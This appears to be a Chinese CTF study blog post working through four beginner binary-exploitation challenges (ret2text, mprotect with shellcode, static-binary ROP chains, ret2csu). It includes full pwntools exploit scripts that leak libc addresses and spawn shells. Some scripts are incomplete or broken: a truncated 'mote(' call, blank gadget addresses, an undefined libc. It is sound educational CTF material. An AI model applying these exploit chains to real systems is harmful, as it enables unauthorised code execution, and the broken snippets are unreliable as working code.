CTFpwn入门学习01

寒假学习计划第一轮,通过四道典型题回顾复习。

pwn1:ret2text

首先将文件拖入kali中查看信息

拖入64位ida里

 查看main函数,f5反编译

main函数里面并没有东西,接下来跟进vuln

read函数读取,buf可填充0x20个字节,read可以读入0x29个字节 ,存在栈溢出,但是返回地址只能覆盖一个字节。

shift+f12查看字符串,有/bin/sh

 

ctrl+x查看/bin/sh的地址位0x401209 。

mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)
gdb.attach(p)
p.sendline(payload)
p.interactive()

 先覆盖rbp,进入gdb调试窗口,发现程序最初的返回地址为0x4012开头

read函数还可读入一个字节,刚好可以把最后两位覆盖为09,此时返回地址变为0x401209,执行/bin/sh,获得权限。

mote('node5.anna.nssctf.cn',28253)
p=process('./pwn1')
binsh=0x401209
payload=b'a'*(0x28)+p8(0x9)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

用p8()就是打包发送一个字节。至此,该题已经成功打通。

pwn2:mprotect

首先我们先了解一下mprotect函数

mprotect()函数

int mprotect(void *addr, size_t len, int prot);

addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。

prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:

1)PROT_READ:内存段可读;

2)PROT_WRITE:内存段可写;

3)PROT_EXEC:内存段可执行;

4)PROT_NONE:内存段不可访问。

总的来说就是我们可以利用mprotect函数修改指定页的内存权限。

接下来我们通过例题详细介绍mprotect函数的使用

首先kali查看文件为64位

拖入ida里面提示我们用mprotect函数,f5反编译ctfshow函数,gets函数可无限溢出。左侧函数列表我们并没有找到mprotect函数,那我们该怎么找他的地址呢。我们可以思考一下ret2libc类型题中我们是找不到system函数的地址,但是我们可以找到相应的libc库,里面存储的有函数地址与libc基地址的偏移,同理,libc库里也有mprotect函数的地址偏移。那么接下来我们先泄露libc地址。

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
p.interactive()

运行脚本打印出来puts函数的真实地址,利用libc database search 查找到相应的libc库。

 libc_base = puts_addr - libc.symbols['puts']这段代码是用来计算libc的基地址。

这里我就阐述一下思路,因为我用的kali他无法打印出puts函数的真实地址,没有办法复现,不过这个问题在ubuntu上可以解决。得到libc基地址后计算mprotect函数地址。mprotect函数是有三个参数的,64位文件中对应rdi,rsi,rdx;32位文件中对应edi,esi,edx。其中rdi(edi)是页起始地址,rsi(esi)是修改长度,rdx(edx)是需要修改的权限。

接下来我们就要去找三个寄存器的地址了,使用

ROPgadget --binary '/home/shengnan/Desktop/pwn2' --only 'pop|ret' | grep ret

 我们可以看到是没有我们需要的这几个寄存器的

其实我们前面找到的libc文件里面也存储有寄存器的偏移,只需要把文件名改为libc文件即可。

 ROPgadget --binary '/home/shengnan/Desktop/libc.so' --only 'pop|ret' | grep ret

会出现特别多寄存器的偏移,找到偏移计算即可得到地址。

这里我们最好用rdx-r12,因为rdx可能会出现打不通的情况,但前者不会出现。

 接下来我们去找bss段的地址

payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)

 bss的地址我们需要把后三位改为000,前面说过addr必须是一个内存页的起始地址

这里需要说明 一点,64位文件是先构造参数后调用函数,所以我们覆盖完rbp之后先往三个寄存器里放东西,这里rdx-r12就直接传入两个7即可,为什么是7呢,可读、可写、可执行分别对应1、2、4,7则是可读可写可执行。将返回地址覆盖为mprotect函数执行,成功修改权限,接下来我们利用gets函数向bss段读入东西,并将返回地址修改为bss段地址。其中gets函数只有一个参数,用rdi即可。

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)

接下来我们 利用pwntools里的shellcraft模块自动生成一个shellcode并传入bss里,我们就可以成功获得权限。

exp如下:

from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
rdi=0x4007e3
main=0x400637
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload=b'a'*(0x28)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('Hello CTFshow\n')
#gdb.attach(p)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
mprotect = libc_base + libc.symbols['mprotect']
bss=0x602000
rdi=
rsi=
rdx_r12=
payload=b'a'*(0x28)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

这里很多东西我是没有填写的,因为我是无法打印puts的真实地址。所以我建议大家还是使用ubuntu来做pwn题。

pwn3:静态编译

拖入64位ida里面

可以看到左侧函数表非常多,这是静态编译文件的一个特征。

f5反编译main函数

发现危险函数gets函数,gets函数是可以无限制读入数据。这里就很清楚了,首先介绍一种秒杀的方法,那就是自动化ROP链。

ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。

ROPgadget --binary pwn3 --ropchain

通过kali终端打入指令运行

 #Padding goes here下面的一大串代码就是系统自动为我们生成的payload,我们只需要填入足够的垃圾数据覆盖rbp即可。

这里需要注意的是使用自动化ROP链时需要在脚本开头加上

from struct import pack

想要使用自动化ROP链解题需要满足两个条件:

1.静态编译

2.gets函数或者是read函数且read函数溢出足够大.

还有一种解法,就是利用mprotect函数

在ida左侧函数表ctrl+f查找mprotect

mprotect=0x4353E0

然后在右侧界面ctrl+s查看bss段地址

这里将bss的地址设置为0x6c1000

接下来通过ropgadget工具寻找rdi,rsi,rdxd寄存器的地址

ROPgadget --binary '/home/shengnan/Desktop/pwn3' --only 'pop|ret' | grep ret

rdi= 0x00000000004016c3

rsi=0x00000000004017d7

rdx=0x00000000004377d5

然后就和pwn2的思路一样了,这里就不再多说了

from pwn import*
p=process('./pwn3')
context(log_level = 'debug',arch = 'amd64')
mprotect=0x4353E0
rdi= 0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
bss=0x6c1000
gets=0x4086a0
shellcode=asm(shellcraft.sh())
p.recvuntil('where is my system_x64?')
payload=b'a'*(0x50+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(bss)+p64(gets)+p64(bss)
p.sendline(payload)

p.sendline(shellcode)
p.interactive()

pwn4:ret2csu

ida查看main函数

跟进vuln函数

gets函数有溢出点。

 result = strlen(s);
  if ( result > 0x10 )
  {
    write(1, "may you can pass it right?", 0x1AuLL);
    exit(1);
  }

这段代码就是进行一个长度比较,长度超过16就会退出程序,我们可以利用\x00绕过长度判断。

因此在填写垃圾数据时可以这样写:b'\x00'+b'a'*(0x10+8-1)

在ida里面是没有找到system函数和/bin/sh,此时我们想到了利用libc来做。尝试之后发现并不行。write函数是有三个参数,对应rdi,rsi,rdx。我们通过ropgadget查找发现缺少rdx寄存器,这时我们可以用ret2scu来做。对于ret2csu可以看一下这篇博客,写得很好。

从o开始的pwn学习之ret2csu-CSDN博客

 每道题中__libc_csu_init函数的汇编都可能是不一样的,我们需要对应着汇编去传参。

通过利用__libc_csu_init函数我们成功泄露write函数的真实地址,通过网站我们找到libc库,接下来就是和ret2libc一样的操作了。

 接下来我们利用csu泄露write地址

from pwn import*
p=process('./pwn4')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)

 payload传参顺序在上述博客中已经说的非常清楚,这里就不再解释了。

完整exp为:

from pwn import*
p=process('./pwn4')
libc = ELF('./libc1.so')
context.log_level='debug'
elf=ELF('./pwn4')
#gdb.attach(p)
ret_rdi=0x401333
ret=0x40101a
payload=b'\x00'*(0x10+8)+p64(0x40132a)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(0x4011fd)
p.recvuntil('This challenge no backdoor!')
p.sendline(payload)
write_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print (hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base +next(libc.search(b'/bin/sh'))
payload=b'\x00'+b'a'*(0x10+7)+p64(ret_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)

p.sendline(payload)
p.interactive()

 以上四道题都是在本地做的,没有远程靶机,如果有兴趣想要复现的话,可以后台私信我。

  • 37
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值